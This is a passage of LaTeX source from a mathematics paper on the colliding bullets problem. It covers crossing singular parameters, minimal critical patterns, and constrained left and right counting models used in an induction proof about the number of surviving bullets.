{\em (i)} Both $\mathbf P_{n,\mu}^{\text{\textsc{ru}}}$ and $\mathbf P_{n,\mu,\nu}^{\text{\textsc{rr}}}$ are annealed versions of $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$. For any fixed vector ${\boldsymbol\Delta}_{n-1}$ of non-zero real numbers, $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$ almost surely if $\mathbf V_n$ is obtained by sorting $n$ i.i.d.\ copies of a random variable with law $\mu$. Taking the vector ${\boldsymbol\Delta}_{n-1}$ as ${\mathbf 1}=(1,1,\dots, 1)$, we obtain immediately that $\mathbf P_{n,\mu}^{\text{\textsc{ru}}}=\mathbf q_n$. Furthermore, since $\nu$ has no atom at zero, $\min {\boldsymbol\Delta}_{n-1}>0$ with probability one when ${\boldsymbol\Delta}_{n-1}$ consists of a family of $n-1$ i.i.d. random variables with distribution $\nu$, and it follows that $\mathbf P^{\text{\textsc{rr}}}_{n,\mu,\nu}=\mathbf q_n$.
{\em (ii)} Let $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$. Fix any continuous and (strictly) increasing $f:\mathbb{R}_+\to \mathbb{R}_+$ with $f(0)=0$. Then the map $\Phi:\mathbb{R}^2\to \mathbb{R}^2$ defined by $\Phi(x,y) =(x,f(y))$ is a one-to-one correspondence between the space-time diagrams of the model
\[\mathbf P^\text{\textsc{ff}}_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}
\qquad \text{and those of}\qquad
\mathbf P^{\text{\textsc{faf}},f}_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}.
\]
This one-to-one correspondence induces a one to one correspondence between the virtual collision points in both models which preserves the lexicographical order $\le_{\rm lex}$ on the plane: $(x_1,y_1) \leq_{\rm lex} (x_2,y_2) \Leftrightarrow \Phi(x_1,y_1)\leq_{\rm lex} \Phi(x_2,y_2)$. It follows immediately $\Phi$ preserves the order of the collisions, and thus, the number and identities of surviving bullets. The claim follows readily.
\end{proof}
\subsection{Crossing a single singular point}
\label{sub:crossing_a_single_singular_point}
We now state the main element of our strategy:
\begin{lem}The assumptions $(ii)$ of Lemma~\ref{lem:qn_heriditary} holds: for every essentially generic parameter $(\mathbf V_{n}, {\boldsymbol\Delta}_{n-1})$ in $\mathcal G_{n}$, we have $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}} = \mathbf P^{\text{\textsc{ff}}}_{\mathbf V_n^\downarrow,{\boldsymbol\Delta}_{n-1}}\,$.
\end{lem}
The proof of this Lemma will be decomposed, but it will somehow last until the end of Section \ref{sec:restrictions}.
The proof roughly consists in showing that, as we continuously lower the minimum speed of an essential generic parameter $(\mathbf V,{\boldsymbol\Delta})$, the probability distribution $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V,{\boldsymbol\Delta}}$ remains unchanged.} This is only partially true, since as we lower the minimum speed, we may encounter singular parameters, for which the colliding bullet problem is not even well-defined. Fix $(\mathbf V,{\boldsymbol\Delta})$ an essential generic parameter in $\mathcal G_n$. For $\lambda\in [0,1]$, the parameter
\[(\mathbf V_\lambda, {\boldsymbol\Delta}):=((1-\lambda) \mathbf V + \lambda \mathbf V^\downarrow,{\boldsymbol\Delta})\] is either a generic or a simple singular parameter; furthermore, there are at most finitely many values $0<\lambda_1<\lambda_2<\dots < \lambda_k<1$ for which $(\mathbf V_\lambda,{\boldsymbol\Delta})$ is singular. By Lemmas~\ref{lem:tcs} and~\ref{lem:TCS_open}, the map
\begin{equation}\label{eq:map_lowering_speed}
\lambda \to \mathbf P_{\mathbf V_\lambda,{\boldsymbol\Delta}}^\text{\textsc{ff}}
\end{equation}
is constant on each of the intervals $[0,\lambda_1)$, $(\lambda_i,\lambda_{i+1})$, $1\le i<k$ and $(\lambda_k,1]$. As a consequence, proving
that the hypothesis of Lemma \ref{lem:qn_heriditary} holds
reduces to showing that, for $1\le i\le k$, the left and right limits at $\lambda_i$ agree.
Note that, by construction, for every $1\le i\le k$, the parameter $(\mathbf V_{\lambda_i},{\boldsymbol\Delta})$ is simple singular, and every critical pattern for $(\mathbf V_{\lambda_i},{\boldsymbol\Delta})$ involves the minimum speed $\lambda_i V_1$. In the following, we call such a singular parameter \emph{honest}. This latter fact is crucial for the arguments to come.
In other words, up to a change of variables, one is lead to studying the difference between $\mathbf P^{\text{\textsc{ff}}}_{\mathbf V+,{\boldsymbol\Delta}}$ and $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ where $(\mathbf V,{\boldsymbol\Delta})$ is an honest singular parameter, and
\[\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}} := \lim_{\lambda \to 0-} \mathbf P^\text{\textsc{ff}}_{\mathbf V_\lambda, {\boldsymbol\Delta}}
\qquad \text{and}\qquad
\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}} := \lim_{\lambda \to 0+} \mathbf P^\text{\textsc{ff}}_{\mathbf V_\lambda, {\boldsymbol\Delta}}\,.\]
In the following, we refer to this as ``crossing the singular point $(\mathbf V,{\boldsymbol\Delta})$''. Since the permutations $(\sigma,\tau)$ are uniformly random, proving that the two laws $\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}}$ and $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ agree consists in verifying that, for every $k\ge 0$, the number of the configurations for which $k$ bullets survive agree for both parameters. In the following, we often refer to these two limit colliding bullets problem as $(\mathbf V-,{\boldsymbol\Delta})$ and $(\mathbf V+,{\boldsymbol\Delta})$.
There are some natural classes of configurations for which the numbers ``obviously'' agree. We now expose some of those classes in order to better focus the remainder of the proof to the classes of configurations for which some genuine work is needed.
\medskip
\noindent (i) \textsc{Only critical configurations matter.}
In words: the contribution to $\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}}$ and to $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ of the configurations which do not contain any critical pattern is the same. Formally, we say that a configuration $(\sigma,\tau)$ is \emph{critical} for $(\mathbf V,{\boldsymbol\Delta})$ if there exists a (necessarily unique) $(\sigma,\tau)$-critical pattern with respect to $(\mathbf V,{\boldsymbol\Delta})$. We denote by $\cal C(\mathbf V,{\boldsymbol\Delta})=\cup_\pi \cal C_\pi(\mathbf V,{\boldsymbol\Delta})$ the set of configurations that are critical for $(\mathbf V,{\boldsymbol\Delta})$. If $(\sigma,\tau)\not\in \cal C(\mathbf V,{\boldsymbol\Delta})$ then $\Gamma_{\mathbf V+,{\boldsymbol\Delta}}(\sigma,\tau, \cdot, \cdot,\cdot ) = \Gamma_{\mathbf V-,{\boldsymbol\Delta}}(\sigma,\tau, \cdot, \cdot,\cdot )$. Therefore, for every $k\ge 0$, the numbers of non-critical configurations in which $k$ bullets survive are identical for $(\mathbf V-,{\boldsymbol\Delta})$ and $(\mathbf V+,{\boldsymbol\Delta})$.
\medskip
We now look further at the critical configurations in $\cal C(\mathbf V,{\boldsymbol\Delta})$. Recall the notion of a realized critical pattern and of a minimal critical pattern defined in Section~\ref{ssec:singular-critical}.
\medskip
\noindent (ii) \textsc{Only configurations with realized critical patterns matter.} In words:
the contribution to $\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}}$ and to $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ of the configurations without any realized critical pattern is the same. Formally, consider $\pi=(\min \mathbf V,v_\ell,v_r,d_\ell,d_r)$ a critical pattern for $(\mathbf V,{\boldsymbol\Delta})$. Fix a configuration $(\sigma,\tau)\in \cal C_\pi \setminus \cal R_\pi$ for which the pattern is not realized. Then, by definition, at least one of the bullets with speeds $\min \mathbf V$, $v_\ell$ or $v_r$ does not survive until the time where the triple-collision is supposed to occur. As a consequence, the space-time diagrams of $(\mathbf V-,{\boldsymbol\Delta})$ and $(\mathbf V+,{\boldsymbol\Delta})$ corresponding to $(\sigma,\tau)$ are identical, and therefore, the number of surviving bullets is the same in both situations. It follows that it suffices to consider the configurations $(\sigma,\tau)\in \cup_\pi \cal R_\pi$ in which the critical pattern is realized.
\medskip
\noindent (iii) \textsc{It suffices to consider minimal critical patterns.} In words:
the contribution to $\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}}$ and to $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ of the configurations with a realized critical pattern which is not minimal in the sense that it is not formed by three consecutive bullets can be reduced to a similar structure on a bullet problem with less than $n$ bullets, and can thus be treated by induction. Formally,
let $\pi=(\min \mathbf V, v_\ell, v_r, d_\ell, d_r)$ be a critical pattern that is not minimal, that is at least one of $d_\ell$ or $d_r$ is the sum of more than one component of ${\boldsymbol\Delta}$. Consider now $\cal R_\pi$, and suppose that it is not empty (this requires, for instance, that both $d_\ell$ and $d_r$ are sums of an odd number of elementary delays to ensure that the bullets shot ``within the critical bi-triangle'' pairwise annihilate).
Fix $(\sigma,\tau)\in \cal R_\pi$. Let $T^\tau_i$, $T^\tau_{j}$ and $T^\tau_{k}$, with $1\le i<j<k\le n$ denote respectively the times at which the bullets with speeds $V_1=\min \mathbf V$, $v_\ell$ and $v_r$ are shot. The configuration $(\sigma,\tau)$ may be decomposed into two parts: an ``outer'' configuration of speeds and delays on $[0,T^\tau_i] \cup [T^\tau_k, T^\tau_n]$ and another ``inner'' configuration of speeds and delays on $[T^\tau_i,T^\tau_k]$. Of course, these configurations are constrained by durations of the intervals, and the fact that both the bullets shot from $[0,T^\tau_i) \cup (T^\tau_k,T^\tau_n]$ and from $(T^\tau_i,T^\tau_k) \setminus \{T^\tau_j\}$ should avoid the trajectories of the bullets with speeds $V_1$, $v_\ell$ and $v_r$ before the triple-collision.
We can decompose the configuration $(\sigma,\tau)$ as follows:
\begin{itemize}
\item \emph{outer configuration:} Let ${\cal I}:=\{\sigma_p: T^\tau_p<T^\tau_i \text{ or }T^\tau_p> T^\tau_k\}$ and ${\cal J}:=\{\tau_p: p< i \text{ or } p\ge k\}$. Then, $|{\cal I}|=i+n-k-1$ and $|{\cal J}|=i-1+n-k$. Let $\mathbf V^\bullet$ denote the increasing reordering of $\{V_p: p\in {\cal I}\}\cup \{V_1,v_\ell,v_r\}$, and ${\boldsymbol\Delta}^\bullet$ the increasing reordering of $\{\Delta_p: p \in {\cal J}\} \cup \{d_\ell, d_r\}$. Then, $(\mathbf V^\bullet, {\boldsymbol\Delta}^\bullet) \in \Theta_{n+i-k+2}$.
\item \emph{inner configuration:} Let $\mathbf V^\circ$ and ${\boldsymbol\Delta}^\circ$ be the increasing reorderings of $\{V_p: p\not \in {\cal I}\}$ and $\{{\boldsymbol\Delta}_p: p\not \in {\cal J}\}$, respectively. Then $(\mathbf V^\circ,{\boldsymbol\Delta}^\circ)\in \Theta_{k+1-i}$.
\end{itemize}
The configuration $(\sigma,\tau)$ then corresponds to a pair of configurations, say $(\sigma^\bullet,\tau^\bullet)$ and $(\sigma^\circ,\tau^\circ)$ for $(\mathbf V^\bullet, {\boldsymbol\Delta}^\bullet)$ and $(\mathbf V^\circ, {\boldsymbol\Delta}^\circ)$, respectively. Both $(\sigma^\bullet,\tau^\bullet)$ and $(\sigma^\circ,\tau^\circ)$ contain the critical pattern $\pi$, and it is realized; furthermore, $\pi$ is minimally critical for $(\mathbf V^\bullet, {\boldsymbol\Delta}^\bullet)$. We emphasize the fact that, while a given configuration gives rise to a single pair of parameters $(\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet)$, $(\mathbf V^\circ,{\boldsymbol\Delta}^\circ)$, in general, there may be more than one pair of parameters when one considers all the configurations $(\sigma,\tau)\in {\cal R}_\pi(\mathbf V,{\boldsymbol\Delta})$.
The fact that $\pi$ is realized yields a kind of decoupling between the configurations $(\sigma^\bullet,\tau^\bullet)$ and $(\sigma^\circ,\tau^\circ)$: given any achievable pair of parameters $(\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet)$, $(\mathbf V^\circ, {\boldsymbol\Delta}^\circ)$, and all the configuration $(\sigma^\bullet,\tau^\bullet)$ for which $\pi$ is realized, every configuration of $(\sigma^\circ,\tau^\circ)$ for which $\pi$ is also realized is compatible with $(\sigma^\bullet,\tau^\bullet)$. Therefore, the number of configuration $(\sigma,\tau)$ for which $\pi$ is realized and the decomposition in pair of parameters is $(\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet)$, $(\mathbf V^\circ, {\boldsymbol\Delta}^\circ)$ is the product $\#\{(\sigma^\bullet,\tau^\bullet) \in {\cal R}_\pi\} \times \#\{(\sigma^\circ,\tau^\circ) \in {\cal R}_\pi\}$. Furthermore, since the only bullets that may survive are those with speed in $\mathbf V^\bullet$, we have the refined relation:
\begin{align*}
& \# \{(\sigma,\tau)\in {\cal R}_\pi(\mathbf V,{\boldsymbol\Delta}): |{\cal S}_{\mathbf V,{\boldsymbol\Delta}}(\sigma,\tau)| = k\}\\
& = \sum \#\{(\sigma^\bullet,\tau^\bullet)\in {\cal R}_\pi(\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet): |{\cal S}_{\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet}(\sigma^\bullet,\tau^\bullet)|=k\}
\times \#\{(\sigma^\circ,\tau^\circ)\in {\cal R}_\pi(\mathbf V^\circ,{\boldsymbol\Delta}^\circ)\}\,,
\end{align*}
where the sum in the right-hand side extends over achievable pairs of parameters $(\mathbf V^\bullet,{\boldsymbol\Delta}^\bullet)$, $(\mathbf V^\circ,{\boldsymbol\Delta}^\circ)$. In other words, if we proceed by induction on $n$, the fact that the numbers of configurations where some non-minimal critical pattern is realized agree is a direct consequence of the fact that the numbers agree for all minimal critical patterns in a colliding bullets problem of smaller size.
\medskip
We can now state the result of the arguments above:
\begin{pro}\label{pro:real_pattern}Let $(\mathbf V,{\boldsymbol\Delta})$ be an honest simple singular parameter. Moreover, let $\pi=(\min \mathbf V, v_\ell,v_r,d_\ell,d_r)$ be a minimal critical pattern for $(\mathbf V,{\boldsymbol\Delta})$. If the distribution of the number of surviving bullets in $(\mathbf V-,{\boldsymbol\Delta})$ and $(\mathbf V+,{\boldsymbol\Delta})$ agree when we restrict the count to configurations in $\cal C_\pi \cap \cal R_\pi$, then the distribution is preserved over $\mathfrak S_n\times \mathfrak S_{n-1}$.
\end{pro}
\subsection{On the need for keeping track of constraints}
The arguments of the previous section, summarized in Proposition~\ref{pro:real_pattern}, imply that we may focus on honest simple singular parameters, and on configurations in which a minimal critical pattern is realized. The minimality of the pattern and the fact that the minimal speed $\min \mathbf V$ is involved in the pattern imposes that the constraints that $\pi$ be realized in $(\sigma,\tau)$ reduces to the fact that no bullet hits the critical bitriangle from the right.
Now, a glance at Figure~\ref{fig:FDN2} suffices to note that, for a configuration in $\cal C_\pi \cap \cal R_\pi$, the sole effect of passing from $\mathbf V+$ to $\mathbf V-$ is to release the line with speed $v_r$, and replace the collision between the bullets with speeds $v_\ell$ and $v_r$ by the collision between the bullets with speeds $\min \mathbf V$ and $v_\ell$. Furthermore, in view of Fig.~\ref{fig:FDN2}, for the configurations containing the minimal and realized bi-triangle $\pi$, the two colliding bullets -- those with speeds $v_\ell$ and $v_r$ before slowing down in $(\mathbf V+,{\boldsymbol\Delta})$ and those with speeds $\min \mathbf V$ and $v_\ell)$ in $(\mathbf V-,{\boldsymbol\Delta})$ -- do not contribute to the number of surviving bullets. In spite of this, we cannot just suppress them:
\begin{itemize}
\item \textsc{it would modify the colliding problem.} For example, consider the case of $\mathbf V+$. Since the bullets with speeds $v_\ell$ and $v_r$ collide, the delays $d_{\ell}$ and $d_r$ merge. If we were to remove the bullets with speeds $v_\ell$ and $v_r$, there would be no bullet shot at time $d_\ell+d_r$ after the bullet $\min \mathbf V$. This would imply that the delay between the bullet with minimal speed and the next one (if any), is the sum of three elementary intervals.
\item \textsc{Constraints persist.} More importantly, the removal in the space-time diagram of the bullets with speeds $v_\ell$ and $v_r$ does not remove the constraints they were holding: we restricted ourselves to configurations where the critical pattern is realized; this restriction \emph{a priori} imposes restrictions on the configurations that may be obtained when removing the bullets with speeds $v_\ell$ and $v_r$.
\end{itemize}
For all the above reasons, we are led to consider more general models that allow to keep track of the constraints imposed by the assumptions along the course of the induction argument. This is developed in the next section, where we also complete the proof of Theorem~\ref{theo:main}.
\begin{figure}[tbp]
\centering
\includegraphics[width=16 cm]{crossing_critical.pdf}
\caption{\label{fig:FDN2} The evolution of the space-time diagram when crossing a singular parameter $(\mathbf V,{\boldsymbol\Delta})$ for a configuration where the critical pattern is realized: The effect of reducing the speed of the bullet forming the left-side of the bi-triangle passed the singular value of the parameter is to switch the pair of bullets colliding in the vicinity of the triple point, and hence to also switch the bullet that survives. }
\end{figure}
\section{Counting configurations with general restrictions}
\label{sec:restrictions}
\subsection{Two combinatorial models with constraints}
The considerations of the previous section motivate the introduction of two models of colliding bullets models with restrictions, which
generalize the initial colliding bullets problem. It is the relationship between these two models that allows to compare the distributions $\mathbf P^\text{\textsc{ff}}_{\mathbf V+,{\boldsymbol\Delta}}$ and $\mathbf P^\text{\textsc{ff}}_{\mathbf V-,{\boldsymbol\Delta}}$ of the number of surviving bullets when crossing a minimal singular parameter.
Both models are very similar to the initial colliding bullets problem, except that: there are a distinguished delay $\Delta^{\star}$, a distinguished speed $V_r$ and a distance $s$ which, together with the minimal speed $V_{\min}$ enter into play to constrain the set of configurations that are allowed.
The vectors of speeds and delays are now denoted by $\mathbf V_n=(V_1,\cdots,V_{n-2},V_{\min},V_r)$ and ${\boldsymbol\Delta}_{n-1}=(\Delta_1,\cdots,\Delta_{n-2},\Delta^{\star})$, respectively\footnote{For the sake of simplicity, $\mathbf V$ is not a sorted vector anymore.}; we also enforce that $V_{\min}$ is the minimal speed of $\mathbf V_n$. So a configuration is now a pair of permutations $(\sigma,\tau)\in \mathfrak S_{n-2}\times \mathfrak S_{n-1}$. Given the permutation $\tau\in \mathfrak S_{n-1}$ of the delays, we define a sequence of times $(T^\tau_i)_{1\le i\le n}$, by
\begin{eqnarray}
T^{\tau}_i= \Delta_{\tau_1}+\cdots+\Delta_{\tau_{i-1}},
\end{eqnarray}
where for convenience we have written $\Delta_{n-1}:=\Delta^\star$. Two of these times are distinguished and correspond to the beginning and to the end of the interval corresponding to the distinguished delay $\Delta^{\star}$; we denote them by $\overline T^\tau_\text{\sc l}$ and $\overline T^\tau_\text{\sc r}$, with the constraint that $\overline T^\tau_\text{\sc r} - \overline T^\tau_\text{\sc l}=\Delta^\star$. The $n-2$ remaining non-distinguished times are distinct and come with a natural ordering, and we denote them by $\overline T^\tau_i$, $1\le i\le n-2$.
The speeds are then assigned to the times as follows: the speeds $V_{\min}$ and $V_r$ are assigned to the distinguished times $\overline T^\tau_{\text{\sc l}}$ and $\overline T^\tau_{\text{\sc r}}$ in this order. The permutation $\sigma\in \mathfrak S_{n-2}$ then determines to which non-distinguished time is assigned each one of the $n-2$ non-distinguished speeds. We let
\begin{eqnarray}
H=H(\mathbf V_n,{\boldsymbol\Delta}_{n-1})
\end{eqnarray} denote the distance between the horizontal axis and the point $\overline {\sf HL}(V_{\min},0) \cap \overline {\sf HL}(V_r,\Delta^\star)$, which exists and lies above the axis since $V_{\min} < V_r$ (see as Figure~\ref{fig:tukyi}.)
The two new models, which, in passing, are combinatorial models, are parametrized by $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$, a real number $s\in [0,H]$, and a set $A$ which will take in the sequel one of the three values: $\{0\}$, $\mathbb{Z}^+$ or $\mathbb{Z}^+\setminus \{0\}$. In both models, there is a special segment
\[S:=\overline {\sf HL}(V_r,\overline T^\tau_{\text{\sc r}})\cap [0,\infty)\times [0,s].\]
The restriction will come from the number of bullets whose true trajectory hits the segment $S$ in the space-time diagram. In both models, there is only one bullet that is shot from one of the extremities of the distinguished interval corresponding to $\Delta^\star$, and the name of the model refer to whether it is shot from the \emph{left} or the \emph{right} end point.
\begin{model}{-- \sc Left model with restriction $\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s, A,\cdot)$.} \label{def:LR}
For $(\sigma,\tau)\in{\mathfrak S}_{n-2}\times {\mathfrak S}_{n-1}$:
\begin{compactitem}[\textbullet]
\item Shoot the bullet with speed $V_{\sigma_j}$ at time $\overline{T}^{\tau}_j$ for $1\le j\le n-2$; this gives rise to the virtual trajectories $\overline {\sf HL}(V^\sigma_j, \overline T^\tau_j)$, $1\le j\le n-2$.
\item Shoot the bullet with minimal speed $V_{\min}$ at time $\overline{T}^{\tau}_\text{\sc l}$; this corresponds to the virtual trajectory $\overline {\sf HL}(V_{\min},\overline{T}^{\tau}_\text{\sc l})$.
\item No bullet is shot at time $\overline T^\tau_{\text{\sc r}}$.
\end{compactitem}
\medskip
For $k\ge 0$, we denote by $\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s, A,k)$ the set of configurations $(\sigma,\tau)$ such that in the (true) space-time diagram of the $n-1$ bullets, the number of bullets whose true trajectory crosses the segment $S$ belongs to $A$, and $k$ bullets eventually survive.
\end{model}
\begin{figure}[tb]
\centering
\includegraphics[width=16cm]{constrained_model.pdf}
\caption{\label{fig:tukyi}
The same configuration is represented for the two constrained models (Models~\ref{def:LR} and~\ref{def:RR}). In red, the only lines corresponding to the distinguished speeds, forming what we will refer to as the \emph{special triangle}; in blue the special segment $S$ used to restrict the configurations that are involved. The left side of the special triangle is denoted by $LS$, and the right side by $RS$.}
\end{figure}
\begin{model}{-- \sc Right model with restriction ${\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s, A,\cdot)$.}\label{def:RR}
For $(\sigma,\tau)\in{\mathfrak S}_{n-2}\times {\mathfrak S}_{n-1}$:
\begin{compactitem}[\textbullet]
\item Shot the bullet with speed $V_{\sigma_j}$ at time $\overline{T}^{\tau}_j$ for $j$ from $1$ to $n-2$; this gives rise to the virtual trajectories $\overline {\sf HL}(V^\sigma_j, \overline T^\tau_j)$, $1\le j\le n-2$.
\item No bullet is shot at time $\overline T^\tau_{\text{\sc l}}$.
\item Shoot the bullet with speed $V_r$ at time $\overline T^\tau_{\text{\sc r}}$; this corresponds to the virtual trajectory $\overline {\sf HL}(V_r, \overline T^\tau_{\text{\sc r}})$.
\end{compactitem}
\medskip
For $k\ge 0$, Denote by ${\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1},s, A,k)$ the set of configurations $(\sigma,\tau)$ such that in the (true) space-time diagram, the number of bullets that cross the segment $S$ belongs to $A$, and $k$ bullets survive. (\emph{By convention, the bullet with speed} $V_r$ \emph{does not cross} $S$.)
\end{model}
{
The relationship between the two models when $s=H$ and $A=\{0\}$ is precisely the one between the two original colliding bullet problem where the consequence of a modification of the minimal speed in the vicinity of a singular parameter is that the bullet to survive the ``near triple collision'' to switch from the one with speed $V_{\min}$ to the one with speed $V_r$ (or vice versa). (Compare Figures~\ref{fig:FDN2} and \ref{fig:tukyi}.) The other values for $s$ and $A$ are used for the proof.
Let $n\ge 2$ be a natural number and consider the three following properties; recall the sequence of probability distributions $\mathbf q_n$ defined in \eqref{eq:q01} and \eqref{eq:q02}.
\begin{align*}
\setlength{\jot}{30pt}
{\cal P}_n^{(1)}:&
\quad~ \left\{~\,\text{for any generic parameter } (\mathbf V_n,{\boldsymbol\Delta}_{n-1}) \in \mathcal G_n \text{ we have } \mathbf P_{\mathbf V_n,{\boldsymbol\Delta}_{n-1}}^{\text{\textsc{ff}}} = \mathbf q_n ~\,
\right\}\\[10pt]
{\cal P}_n^{(2)}: &
\quad~\left\{
\begin{array}{c}
~~\text{for the set }A \text{ being either }\{0\}, \mathbb{Z}_+, \text{ or }\mathbb{Z}_+\setminus \{0\} \text{ we have }\\
\text{ for all } (\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n, \text{for all } s\leq H(\mathbf V_n,{\boldsymbol\Delta}_{n-1}), \text{ and for all } k\ge 0\!\\
\left|\LR(\mathbf V_n, {\boldsymbol\Delta}_{n-1},s, A,k)\right|=\left|{\sf RR}(\mathbf V_n, {\boldsymbol\Delta}_{n-1},s, A,k)\right| \quad
\end{array}
\right\}\\[10pt]
{\cal P}_n^{(3)}:&
\quad~\left\{
\begin{array}{c}
\text{there exists a map }g_n:\mathbb Z_+ \to \mathbb Z_+ \text{ such that} \\
\text{for any }(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n \text{ and for all }k\ge 0 \text{ we have }\\
\quad~ |\LR(\mathbf V_n, {\boldsymbol\Delta}_{n-1},0, \{0\},k)|=|{\sf RR}(\mathbf V_n, {\boldsymbol\Delta}_{n-1},0, \{0\},k)| = g_n(k)\quad~~\,
\end{array}
\right\}\,.
\end{align*}
\begin{rem}(i) In view of Proposition~\ref{pro:auxiliary_models}, the part that is currently missing to complete the proof of Theorem~\ref{theo:main} is precisely the fact that ${\cal P}_n^{(1)}$ holds for every $n$.
\noindent (ii) We emphasize the fact that, in ${\cal P}_n^{(2)}$, it is not true that the two cardinalities
\[|\LR(\mathbf V_n,{\boldsymbol\Delta}_{n-1}, s, A, k)| \qquad \text{and} \qquad |{\sf RR}(\mathbf V_n,{\boldsymbol\Delta}_{n-1}, s, A, k)|\]
are independent of $(\mathbf V_n,{\boldsymbol\Delta}_{n-1})\in \mathcal G_n$.
\end{rem}
}
\begin{pro}\label{theo:main2}
For any $n\ge 2$, the properties ${\cal P}_n^{(1)}$, ${\cal P}_n^{(2)}$ and ${\cal P}_n^{(3)}$ all hold.
\end{pro}
We will prove Proposition~\ref{theo:main2} by induction. We could not find a argument that would proceed by proving ${\cal P}_n^{(1)}$, ${\cal P}_n^{(2)}$ and ${\cal P}_n^{(3)}$ each separately, and it seems that one has to treat the bundle
\begin{eqnarray}
{\cal P}_n= \big \{\text{ all three properties }{\cal P}_n^{(1)}, {\cal P}_n^{(2)} \textrm { and }{\cal P}_n^{(3)} \textrm{ hold } \big\}
\end{eqnarray}
in a single induction argument. This is the main reason why the following proof is slightly intricate.
First, one easily verifies that ${\cal P}_1$ and ${\cal P}_2$ both hold: this can be checked by inspecting the cases: 0 or 1 bullet is fired in all these models, except in ${\cal P}_2^{(1)}$; this latter case with two bullets is simple enough to be checked easily. Now, the induction step necessary to prove Proposition~\ref{theo:main2} follows directly from Lemmas~\ref{lem:ind3}, \ref{lem:ind1} and \ref{lem:ind2} below:
\begin{lem}\label{lem:ind3}Let $n\ge 2$. If ${\cal P}_n$ holds, then ${\cal P}_{n+1}^{(3)}$ holds.
\end{lem}
\begin{lem}\label{lem:ind1}Let $n\ge 2$. If ${\cal P}_m$ holds for all $m\le n$, then ${\cal P}_{n+1}^{(1)}$ holds.
\end{lem}
\begin{lem}\label{lem:ind2}Let $n\ge 2$. If ${\cal P}_n$ holds, then ${\cal P}_{n+1}^{(2)}$ holds.
\end{lem}
Observe that Lemma~\ref{lem:ind1} is what make the link between the original bullet colliding problem and the models with constraint above precise. The proof of Lemma~\ref{lem:ind3} is straightforward and we present it immediately. The proofs of Lemmas~\ref{lem:ind1} and~\ref{lem:ind2} are presented in Sections~\ref{sub:proof_of_lemma1} and~\ref{sub:proof_of_lemma2}, respectively.
\subsection{Proof of Lemma~\ref{lem:ind1}}
\label{sub:proof_of_lemma1}
{
Since $\mathcal P_{m}$ holds for $m\le n$, by Lemma~\ref{lem:qn_heriditary}, it suffices to prove that \eqref{eq:local_invariance} holds for all $(\mathbf V_{n+1}, {\boldsymbol\Delta}_n)\in \mathcal G_{n+1}$ that is essentially generic. Then, by the arguments in Section~\ref{sub:crossing_a_single_singular_point} this reduces to comparing the law of the number of surviving bullets for $(\mathbf V^\star_{n+1}+,{\boldsymbol\Delta}_n)$ and $(\mathbf V^\star_{n+1}-,{\boldsymbol\Delta})$, where $(\mathbf V_{n+1}^\star, {\boldsymbol\Delta}_n)$ is a simple singular parameter $\Theta_{n+1}$.
By Proposition~\ref{pro:real_pattern}, in order to compare $(\mathbf V^\star_{n+1}+,{\boldsymbol\Delta}_n)$ and $(\mathbf V^\star_{n+1}-,{\boldsymbol\Delta}_n)$ it suffices to consider configurations for which there is some minimal critical pattern with respect to $(\mathbf V^\star_{n+1},{\boldsymbol\Delta}_n)$ that is realised and involves the minimum speed.
There is a unique critical pattern for $(\mathbf V^\star_{n+1},{\boldsymbol\Delta}_n)$ and it is of the form $\pi=(V_1, V_\ell, V_r, d_\ell, d_r)$ where $d_\ell$ and $d_r$ are both components of ${\boldsymbol\Delta}_n$. For any configuration $(\sigma,\tau)$ where $\pi$ is realized, }
\begin{itemize}
\item in $(\mathbf V^\star_{n+1}+,{\boldsymbol\Delta}_n)$ the bullets with speeds $V_l$ and $V_r$ collide;
\item in $(\mathbf V^\star_{n+1}-,{\boldsymbol\Delta}_n)$ the bullets with speeds $V_1=\min \mathbf V_{n+1}^\star$ and $V_\ell$ collide.
\end{itemize}
Note that in both models, $V_\ell$ does not play a role after the triple-collision, and it will be suppressed from the parameter in the following. More precisely, writing $\Delta^\star=d_\ell + d_r$, and reorganizing the components of the parameter into
\[
\begin{array}{ll}
\mathbf V_n' = (V_2,\dots, V_{n-1}, V_1, V_r) \in \mathbb{R}^n_+ & \text{where the speed }V_\ell \text{ has been removed},\\
{\boldsymbol\Delta}_{n-1}' = (\Delta_1,\dots, \Delta_n, \Delta^\star) \in \mathbb{R}^{n-1}_+ & \text{since $d_\ell$ and $d_r$ have been merged into }\Delta^\star
\end{array}
\]
we are precisely led to proving that
\begin{equation}\label{eq:remove_crit_triangle}
